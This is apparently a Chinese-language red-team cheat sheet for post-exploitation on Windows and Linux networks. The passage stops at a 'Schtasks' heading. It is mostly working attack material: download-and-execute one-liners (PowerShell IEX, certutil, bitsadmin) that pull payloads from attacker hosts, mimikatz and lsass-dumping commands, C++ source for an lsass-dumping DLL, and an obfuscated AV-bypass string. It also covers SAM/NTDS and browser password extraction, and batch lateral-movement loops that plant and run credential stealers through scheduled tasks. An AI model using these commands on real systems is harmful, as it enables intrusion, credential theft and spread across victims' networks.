aGet.SaveToFile "C:\1.exe",2
>cscript 1.vbs
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.serverXMLHTTP")
http.SetOption 2,13056//忽略HTTPS错误
http.open "GET","http://192.168.1.192/Client.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\1.exe"
ado.Close

JS

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var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1; BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("1.exe");
>cscript /nologo 1.js http://192.168.1.192/Client.exe

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Bitsadmin

>bitsadmin /transfer n http://192.168.1.192/Client.exe  e:\1.exe
>bitsadmin /rawreturn /transfer getfile http://192.168.1.192/Client.exe e:\1.exe
>bitsadmin /rawreturn /transfer getpayload http://192.168.1.192/Client.exe e:\1.exe
>bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.1.192/Client.exe" "e:\1.exe "

Powershell

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>powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/Client.exe','C:\1.exe'); start-process 'c:\1.exe'
>powershell 
>(New-Object System.Net.WebClient).DownloadFile('http://192.168.0.108/1.exe',"$env:APPDATA\csrsv.exe");Start-Process("$env:APPDATA\csrsv.exe")
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>powershell ($dpl=$env:temp+'f.exe');(New-Object System.Net.WebClient).DownloadFile('http://192.168.0.108/ok.txt',$dpl);
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PS>iwr -Uri http://192.168.0.106:1222/111.txt -OutFile 123.txt –UseBasicParsing
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C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Templates
>Import-Module BitsTransfer
>$path = [environment]::getfolderpath("temp")
>Start-BitsTransfer -Source "http://192.168.0.108/ok.txt" -Destination "$path\ok.txt"
>Invoke-Item  "$path\ok.txt"

Certutil

>certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 
>certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
对文件进行编码下载后解码执行
>base64 payload.exe > /var/www/html/1.txt # 在C&C上生成经base64编码的exe
>certutril -urlcache -split -f http://192.168.0.107/1.txt & certurl -decode 1.txt ms.exe & ms.exe

Python

#python -c 'import urllib;urllib.urlretrieve("http://192.168.1.192/Client.exe","/path/to/save/1.exe")'

Perl

#!/usr/bin/perl 
use LWP::Simple; 
getstore("http://192.168.1.192/Client.exe", "1.exe");

PHP

#!/usr/bin/php 
<?php $data = @file("http://192.168.1.192/Client.exe");
$lf = "1.exe";         
$fh = fopen($lf, 'w');         
fwrite($fh, $data[0]);         
fclose($fh); 
?>

Curl

#curl -o 1.exe http://192.168.1.192/Client.exe

wget

#wget http://192.168.1.192/Client.exe
#wget –b后台下载
#wget –c 中断恢复

nc

>nc –lvnp 333 >1.txt
目标机
>nc –vn 192.168.1.2 333 <test.txt –q 1
&
>cat 1.txt >/dev/tcp/1.1.1.1/333

SCP

Linux中传输文件
>scp -P 22 file.txt user@1.1.1.1:/tmp

Hash&密码

破解网址

https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php

GoogleColab破解hash

之前在freebuf上看到过相关文章,最近在github上也看到了这个脚本,所以拿起来试试,速度可观
https://www.freebuf.com/geek/195453.html
https://gist.github.com/chvancooten/59acfbf1d8ee7a865108fca2e9d04c4a
打开
https://drive.google.com/drive
新建一个文件夹,右键,更多选择google Colab

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如果没有,点关联更多应用,搜索这个名字,安装一下即可

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安装hashcat,下载字典

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运行类型选择GPU加速

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这里测试个简单密码

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12亿条密码大概20多分钟
https://download.weakpass.com/wordlists/1851/hashesorg2019.gz
以上是字典

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密码策略

默认情况,主机账号的口令每30天变更一次
>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Netlogon\Parameters,键值为DisablePasswordChange,设置为1,即表示禁止修改账号口令
>组策略(gpedit.msc)中修改默认的30天,修改位置为"Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Domain member: Maximum machine account password age"设置为0时,表示无限长
>禁止修改主机账号口令,用来支持VDI (virtual desktops)等类型的使用,具体位置为"Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Domain member: Disable machine account password changes"
Debug Privilege
本地安全策略>本地策略>用户权限分配>调试程序

开启Wdigest

Cmd

>reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

powershell

>Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

meterpreter

>reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

Getpass

>getpassword.exe>1.txt

QuarksPwDump

>QuarksPwDump.exe -dump-hash-local

MSF

Meterpreter > run hashdump 
&
Meterpreter > mimikatz_command -f samdump::hashes
&
Meterpreter > load mimikatz
Meterpreter > wdigest
&
Meterpreter > load mimikatz
Meterpreter > msv
Meterpreter > kerberos
&
Meterpreter > load kiwi
Meterpreter > creds_all
&
Meterpreter > migrate PID
Meterpreter > load mimikatz
Meterpreter > mimikatz_command -f sekurlsa::searchPasswords
&
Meterpreter > run windows/gather/smart_hashdump

Empire

>usemodule credentials/mimikatz/dcsync_hashdump

Invoke-Dcsync

>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-DCSync.ps1');invoke-dcsync

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Mimikatz

调用mimikatz远程抓取

抓明文
>powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.108/nishang/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
抓hash
>powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.100/nishang/Gather/Get-PassHashes.ps1');Get-PassHashes
>powershell -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/powersploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz" >C:\Users\Administrator.DC\Desktop\1123.txt

横向批量抓hash

Schtasks
把IP列表放入ip.txt文件中,通过一个账户密码批量net use与列表里的IP建立连接,如果建立连接没出错的话,复制getpass到目录temp目录,使用账户密码远程创建计划任务名字为windowsupdate,指定每日00:00以system权限执行getpass文件,创建完计划任务后,/tn是立刻执行此计划任务,执行完后删除此计划任务,ping -n 10>nul是程序停留,相当于延时10秒,之后复制文件到本地,接着删除getpass文件,删除创建的连接。
>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy getpass.exe \\%i\admin$\temp\ /Y ) & schtasks /create /s "%i" /u "administrator" /p "password" /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\getpass.exe" /sc DAILY /mo 1 /ST 00:00 /RU SYSTEM & schtasks /run /tn windowsupdate /s "%i" /U "administrator" /P "password" & schtasks /delete /F /tn windowsupdate /s "%i" /U " administrator" /P "password" & @ping 127.0.0.1 -n 10 >nul & move \\%i\admin$\temp\dumps.logs C:\Users\Public\%i.logs & del \\%i\admin$\debug\getpass.exe /F & net use \\%i\admin$ /del
Wmic
>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy getpass.exe \\%i\admin$\temp\ /Y ) & wmic /NODE:"%i" /user:"administrator" /password:"password" PROCESS call create "c:\windows\temp\getpass.exe" & @ping 127.0.0.1 -n 10 >nul & move \\%i\admin$\temp\dumps.logs C:\Users\Public\%i.logs & del \\%i\admin$\temp\getpass.exe /F & net use \\%i\admin$ /del

直接使用

>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt 
>privilege::debug
>misc::memssp
锁屏
>rundll32.exe user32.dll,LockWorkStation
记录的结果在c:\windows\system32\mimilsa.log
>mimikatz log "privilege::debug" "lsadump::lsa /patch"
>mimikatz !privilege::debug 
>mimikatz !token::elevate 
>mimikatz !lsadump::sam

Powershell Bypass

>powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

.net 2.0

katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727
Powershell执行
>$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
>$Content = [System.Convert]::FromBase64String($key)
>Set-Content key.snk -Value $Content –Encoding Byte
Cmd执行
>C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs
>C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe

.net 4.0 Msbuild

>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild mimi.xml

JScript

>wmic os get /format:"mimikatz.xsl"

image

>wmic os get /format:"http://192.168.0.107/ps/mimi.xsl"

Procdump64+mimikatz

>procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
>procdump.exe -accepteula -ma lsass.exe lsass.dmp
>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TheKingOfDuck/hashdump/master/procdump/procdump.ps1');Invoke-Procdump64 -Args '-accepteula -ma lsass.exe lsass.dmp'"

Dumpert

https://github.com/outflanknl/Dumpert
有三种,分别是dll,可执行文件和cs的Aggressor插件,这里测试下dll和exe
DLL的执行方式是
rundll32.exe C:\Outflank-Dumpert.dll,Dump

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文件保存在c:\windows\temp\dumpert.dmp
用mimikatz
>sekurlsa::mimidump c:\windows\temp\dumpert.dmp
>sekurlsa::logonpasswords

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可执行文件就直接执行就可以了

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Cisco Jabber转储lsass

cd c:\program files (x86)\cisco systems\cisco jabber\x64\
processdump.exe (ps lsass).id c:\temp\lsass.dmp

绕过卡巴斯基

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

image

将三个文件下载到本地,使用visual studio进行编译,需要修改了几个地方。
(1)添加如下代码
#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib库文件)
(2)将.c文件后缀改成.cpp (使用了c++代码,需要更改后缀)
(3) 编译时选择x64
编译得到exe文件
Visual studio创建c++空项目
配置类型选dll
字符集选Unicode,调试器选64位
Dll保存在C:\\windows\\temp\\1.bin
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#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>

#pragma comment(lib,"Dbghelp.lib")
using namespace std;

int FindPID()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);

HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot Error!" << endl;;
return false;
}

BOOL bResult = Process32First(hProcessSnap, &pe32);

while (bResult)
{
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}

CloseHandle(hProcessSnap);

return -1;
}

typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);

int dump() {

HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;

MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

if (MiniDumpW == NULL) {

return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);

wchar_t ws[100];
swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\windows\\temp\\1.bin full");

MiniDumpW(0, 0, ws);
return 0;

}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

>xxx.exe c:\xx\xx\xx.dll使用绝对路径

远程LSASS进程转储-Physmem2profit

https://github.com/FSecureLABS/physmem2profit
mimikatz被多数安全人员用来获取凭据,但现在的AV/EDR很轻易的识别并查杀,这里不在服务器端使用mimikatz,远程对lsass进程进行转储。
服务器端直接使用visual studio构建
physmem2profit-public\server\

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客户端
>git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.git
客户端这里先安装
>bash physmem2profit/client/install.sh

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需要将此文件
https://github.com/Velocidex/c-aff4/raw/master/tools/pmem/resources/winpmem/att_winpmem_64.sys
传到目标服务器,我这里存放在c:\windows\temp\中
服务器端执行
>Physmem2profit.exe --ip 192.168.0.98 --port 8888 –verbose这里的IP是服务器端IP

image

攻击端安装所需模块

image

攻击端执行
>source physmem2profit/client/.env/bin/activate
>cd physmem2profit/client
>python3 physmem2profit --mode all --host 192.168.0.98 --port 8888 --drive winpmem --install 'c:\windows\temp\att_winpmem_64.sys' --label test

image

服务器端可以看到

image

把生成的dmp文件转移到win系统上使用mimikatz即可获得hash,当然也可以在linux上使用pypykatz。

image
image

再来一条转储lsass进程的命令
要以system权限执行
>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

image

SqlDumper+mimikatz

位置C:\Program Files\Microsoft SQL Server\number\Shared
>tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
>Sqldumper.exe ProcessID PID 0x01100  导出mdmp文件
>mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

Mimipenguin

抓取linux下hash,root权限
https://github.com/huntergregal/mimipenguin

缓存hash提取

注册表

>reg save hklm\sam c:\sam.hive &reg save hklm\system c:\system.hive &reg save hklm\security c:\security.hive
>mimikatz.exe "lsadump::sam /system:sys.hive /sam:sam.hive" exit

Ninjacopy

#http://192.168.0.101/powersploit/Exfiltration/Invoke-NinjaCopy.ps1
>powershell -exec bypass
>Import-Module .\invoke-ninjacopy.ps1
>Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
>Invoke-NinjaCopy –Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
>Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "C:\Windows\Temp\1.dit"
>Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "dc.zone.com" -LocalDestination "C:\Windows\Temp\1.dit"

image

Quarks-pwdump

>quarks-pwdump.exe –dump-hash-domain

域hash提取

Ntdsutil

>ntdsutil
>snapshot
>activate instance ntds
>create
>mount {guid}
>copy 装载点\windows\NTDS\ntds.dit d:\ntds_save.dit
>unmount {guid}
>delete {guid}
>quit
&
创建
> ntdsutil snapshot “activate instance ntds” create quit quit
挂载
> ntdsutil snapshot “mount {guid}” quit quit
复制
>copy c:\$SNAP_XXX_VOLUMEC$\windows\NTDS\ntds.dit d:\ntds_save.dit
卸载并删除
> ntdsutil snapshot “unmounts {guid}” “delete {guid}” quit quit
删除后检测
> ntdsutil snapshot “List All” quit quit
提取hash
> QuarksPwDump -dump-hash-domain -ntds-file d:\ntds_save.dit

Vssadmin

创建C盘卷影拷贝
>vssadmin create shadow /for=c:
复制ntds.dit
>copy {Shadow Copy Volume Name}\windows\NTDS\ntds.dit c:\ntds.dit
删除拷贝
>vssadmin delete shadows /for=c: /quiet

Impacket

Impacket中的secretsdump.py
#impacket-secretsdump –system SYSTEM –ntds.dit LOCAL
或
#impacket-secretsdump –hashs xxx:xxx –just-dc xxx.com/admin\@192.168.1.1

NTDSDumpex

>Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "C:\Windows\Temp\1.dit"
>reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
https://github.com/zcgonvh/NTDSDumpEx
>NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

WMI调用Vssadmin

>wmic /node:dc /user:xxxx\admin /password:passwd process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
>wmic /node:dc /user:P xxxx\admin /password: passwd process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
>wmic /node:dc /user: xxxx\admin /password: passwd process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
>copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp

PowerSploit

PS >Import-Module .\VolumeShadowCopyTools.ps1
PS >New-VolumeShadowCopy -Volume C:\
PS >Get-VolumeShadowCopy

Nishang

PS >Import-Module .\Copy-VSS.ps1
PS >Copy-VSS
PS >Copy-VSS -DestinationDir C:\ShadowCopy\
或MSF中
Meterpreter>load powershell
Meterpreter>powershell_import /root/Copy-VSS.ps1
Meterpreter>powershell_execute Copy-VSS

Mimikatz

#lsadump::dcsync /domain:xxx.com /all /csv
或
#privilege::debug
#lsadump::lsa /inject

MSF

#use auxiliary/admin/smb/psexec_ntdsgrab
#set rhost smbdomain smbuser smbpass
#exploit
Ntds.dit文件存在/root/.msf4/loot
后渗透模块
#use windows/gather/credentials/domain_hashdump
#set session 1

laZagne

windows

https://github.com/AlessandroZ/LaZagne
>laZagne.exe all -oN获取所有密码输出到文件
Powershell
PS>[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
PS>$vault = New-Object Windows.Security.Credentials.PasswordVault
PS>$vault.RetrieveAll() | % { $_.RetrievePassword();$_ }

Linux

>python3 laZagne.py all

敏感信息

Seatbelt

使用Visual studio编译
>Seatbelt.exe ALL获取所有信息

VNC密码

>reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
http://www.cqure.net/wp/tools/password-recovery/vncpwdump/
解密
>vncpwdump.exe -k hash 
>reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host 
>reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName 
>reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd
离线破解
https://github.com/HyperSine/how-does-navicat-encrypt-password

Chrome保存的密码

>mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

Foxmail

X:\Foxmail\storage\xxx\Accounts\Account.rec0
使用
Foxmail Password Decryptor解密
https://securityxploded.com/foxmail-password-decryptor.php

firefox保存的密码

https://www.nirsoft.net/password_recovery_tools.html
>webbrowserpassview.exe /LoadPasswordsFirefox 1 /shtml "c:\1.html"
或
>dir %appdata%\Mozilla\Firefox\Profiles\
>dir %appdata%\Mozilla\Firefox\Profiles\yn80ouvt.default
需先结束firefox.exe进程
压缩
>7z.exe -r -padmin123 a c:\users\public\firefox.7z C:\Users\Administrator\AppData\Roaming\Mozilla\*.* 
https://github.com/unode/firefox_decrypt
https://securityxploded.com/firefox-master-password-cracker.php

SecureCRT

C:\Documents and Settings\Administrator\Application Data\VanDyke下的config文件夹
C:\program files\Vandyke software\securecrt\
https://github.com/uknowsec/SharpDecryptPwd

横向

探测存活主机

For+Ping命令查询存活主机

>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.0.%I |findstr "TTL="

image

For+Ping命令查询域名对应IP
>for /f "delims=" %i in (D:/domains.txt) do @ping -w 1 -n 1 %i | findstr /c:"[192." >> c:/windows/temp/ds.txt

内外网资产对应

1.将收集到的子域名保存,使用ping命令在内网循环
for /f "delims=" %i in (host.txt) do @ping -w 1 -n 1 %i | findstr /c:"[10." /c:"[192." /c:"[172." >> C:/users/public/out.txt
2.找到dns服务器ip,ipconfig或扫描开启53端口的机器
https://github.com/Q2h1Cg/dnsbrute
dnsbrute.exe -domain a.com -dict ziyuming.txt -rate 1000 -retry 1 -server 192.168.1.1:53
3.扫描内网ip开启web服务的title

NbtScan

Windows
>nbtscan.exe -m 192.168.1.0/24
Linux
#nbtscan -r 192.168.0.0/24

NMAP

#nmap -Pn -open -A -n -v -iL filename.txt
-Pn:跳过主机发现
-n:不做DNS解析
-open:只显示开启的端口
-A:扫描过程中,输入回车,可以查看扫描进度
-v:显示详细信息
-F:快速扫描100个常见端口
-p:选择要扫描的端口  例: -p1-65535 (全端口扫描,中间没有空格)
-iL:为程序指定一个要扫描的IP列表
-sV:探测开放端口的服务和版本信息
-T可以选择扫描等级,默认T3,但想快点话,可以输入  -T4
存活主机
>nmap -sP -PI 192.168.0.0/24
>nmap -sn -PE -T4 192.168.0.0/24
>nmap -sn -PR 192.168.0.0/24
代理nmap扫描
meterpreter > background
msf > use auxiliary/server/socks4a
再配置proxychains.conf
#proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 内网IP

NetDiscover

#netdiscover -r 192.168.0.0/24 -i wlan0

rp-scan

kali
>arp-scan --interface=wlan0 -localnet
Windows
>arp-scan.exe -t 192.168.0.0/24

MSF

#use auxiliary/scanner/discovery/arp_sweep

image

#use auxiliary/scanner/discovery/udp_sweep

image

#use auxiliary/scanner/netbios/nbname
meterpreter>run post/windows/gather/arp_scanner RHOSTS=192.168.1.1/24
meterpreter>run post/multi/gather/ping_sweep RHOSTS=192.168.1.1/24

探测服务&端口

常见端口
服务 端口
Mssql 1433
SMB 445
WMI 135
winrm 5985
rdp 3389
ssh 22
oracle 1521
mysql 3306
redis 6379
postgresql 5432
ldap 389
smtp 25
pop3 110
imap 143
exchange 443
vnc 5900
ftp 21
rsync 873
mongodb 27017
telnet 23
svn 3690
java rmi 1099
couchdb 5984
pcanywhere 5632
web 80-90,8000-10000,7001,9200,9300

Powershell

Powersploit
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powersploit/Recon/Invoke-Portscan.ps1'); Invoke-Portscan -Hosts 192.168.0.0/24 –T 4 -Ports '1-65535' -oA C:\TEMP.txt"
Nishang
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/nishang/Scan/Invoke-PortScan.ps1'); Invoke-Portscan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort"

image

去掉scanport就是探测存活

SMB

https://github.com/ShawnDEvans/smbmap
MSF
#use auxiliary/scanner/smb/smb_version查询开启139,445端口主机
#use auxiliary/scanner/smb/smb_login 爆破
NMAP
#nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168. 1.119
CMD
>for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445

Linux Samba服务

端口一般139,弱口令连接
>smbclient -L 192.168.0.110
>smbclient '\\192.168.0.110\IPC$'
#use exploit/linux/samba/is_known_pipenamea

MSF

端口
#use auxiliary/scanner/portscan/tcp
#use auxiliary/scanner/portscan/ack
服务
#use auxiliary/scanner/ftp/ftp_version 开启FTP的机器
#use auxiliary/scanner/ftp/anonymous 允许匿名登录的FTP
#use auxiliary/scanner/ftp/ftp_login FTP爆破
#use auxiliary/scanner/http/http_version 开启HTTP服务的
#use auxiliary/scanner/smb/smb_version 开启SMB服务的
#use auxiliary/scanner/smb/smb_enumshares 允许匿名登录的SMB
#use auxiliary/scanner/smb/smb_login SMB爆破
#use auxiliary/scanner/ssh/ssh_version 开启SSH的机器
#use auxiliary/scanner/ssh/ssh_login SSH爆破
#use auxiliary/scanner/telnet/telnet_version 开启TELNET服务的
#use auxiliary/scanner/telnet/telnet_login TELNET爆破
#use auxiliary/scanner/mysql/mysql_version 开启MYSQL服务的
#use auxiliary/scanner/mysql/mysql_login MYSQL爆破
#use auxiliary/scanner/mssql/mssql_ping 开启SQLSERVER服务的
#use auxiliary/scanner/mssql/mssql_login MSSQL爆破
#use auxiliary/scanner/postgres/postgres_version开启POSTGRE服务的
#use auxiliary/scanner/postgres/postgres_login POSTGRESQL爆破
#use auxiliary/scanner/oracle/tnslsnr_version 开启oracle数据库的
#use auxiliary/admin/oracle/oracle_login Oracle数据库爆破
#use auxiliary/scanner/http/title 扫描HTTP标题
#use auxiliary/scanner/rdp/rdp_scanner 开启RDP服务的
#use auxiliary/scanner/http/webdav_scanner
#use auxiliary/scanner/http/http_put 开启WEBDAV的
#use auxiliary/scanner/smb/smb_ms17_010 存在17010漏洞的
#use auxiliary/scanner/http/zabbix_login zabbix爆破
#use auxiliary/scanner/http/axis_login axis爆破
#use auxiliary/scanner/redis/redis_login redis爆破

Nc

>nc -znv 192.168.0.98 1-65535

image

>nc -v -w 1 192.168.0.110 -z 1-1000
>for i in {101..102}; do nc -vv -n -w 1 192.168.0.$i 21-25 -z; done

Masscan

$sudo apt-get install clang git gcc make libpcap-dev
$git clone https://github.com/robertdavidgraham/masscan
$cd masscan
$make 
>masscan -p80,3389,1-65535 192.168.0.0/24

image

PTScan

友好识别web服务
https://github.com/phantom0301/PTscan/blob/master/PTscan.py
>python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306]  [-m 50] [-t 10] [-n(不ping)] [-b(开启banner扫描)] [-r查找IP]
80,81,82,83,84,85,86,87,88,89,90,91,901,18080,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,443,8443,7001

CobaltStrike+K8 Aggressor

https://github.com/k8gege/Aggressor
存活主机
beacon>Cscan 192.168.0.0/24 OnlinePC

image

MS17010
beacon>Cscan 192.168.0.0/24 MS17010

image

操作系统信息
beacon>Cscan 192.168.0.0/24 Osscan

image

内网站点banner、标题扫描
beacon>Cscan 192.168.0.0/24 WebScan
FTP爆破
上传账户密码文件user.txt、pass.txt到beacon目录(beacon>pwd)
beacon>Cscan 192.168.0.0/24 FtpScan
WMI爆破windows账户密码
上传账户密码文件user.txt、pass.txt到beacon目录(beacon>pwd)
beacon>Cscan 192.168.0.0/24 WmiScan
思科设备扫描
beacon>Cscan 192.168.0.0/24 CiscoScan
枚举共享
beacon> EnumShare
枚举SQL SERVER数据库
beacon> EnumMSSQL

执行命令&IPC&计划任务

建立连接
>net use \\192.168.1.2\ipc$ "password" /user:domain\administrator
查看连接
>net use
列文件
>dir \\192.168.1.2\c$
查看系统时间
>net time \\192.168.1.2
上传文件
>copy 1.exe \\192.168.1.2\c$
下载文件
>copy \\192.168.1.2\c$\1.exe 1.exe
批量IPC
@echo off
echo check ip addr config file…
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file…
for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd
:end
exit

AT

>net use \\192.168.1.2\ipc$ "password" /user:domain\administrator
>copy 1.exe \\192.168.1.2\c$
>net time \\192.168.1.2
>at \\192.168.1.2 1:00AM c:\1.exe
>at \\192.168.1.2 1:00AM cmd.exe /c “ipconfig >c:/1.txt”
>type \\192.168.1.2\c$\1.txt
查看计划任务
>at \\192.168.1.2
删除计划任务
>at \\192.168.1.2 计划ID /delete
横向批量上线
>atexec.exe ./administrator:pass@10.1.1.1 "certutil.exe -urlcache -split -f http://youip.com:80/shell.txt c:/windows/debug/SysDug.exe" 
>atexec.exe ./administrator:pass@10.1.1.1 "c:/windows/debug/SysDug.exe" 
>atexec.exe ./administrator:pass@10.1.1.1 "certutil.exe -urlcache -split -f c:/windows/debug/SysDug.exe delete"

Schtasks

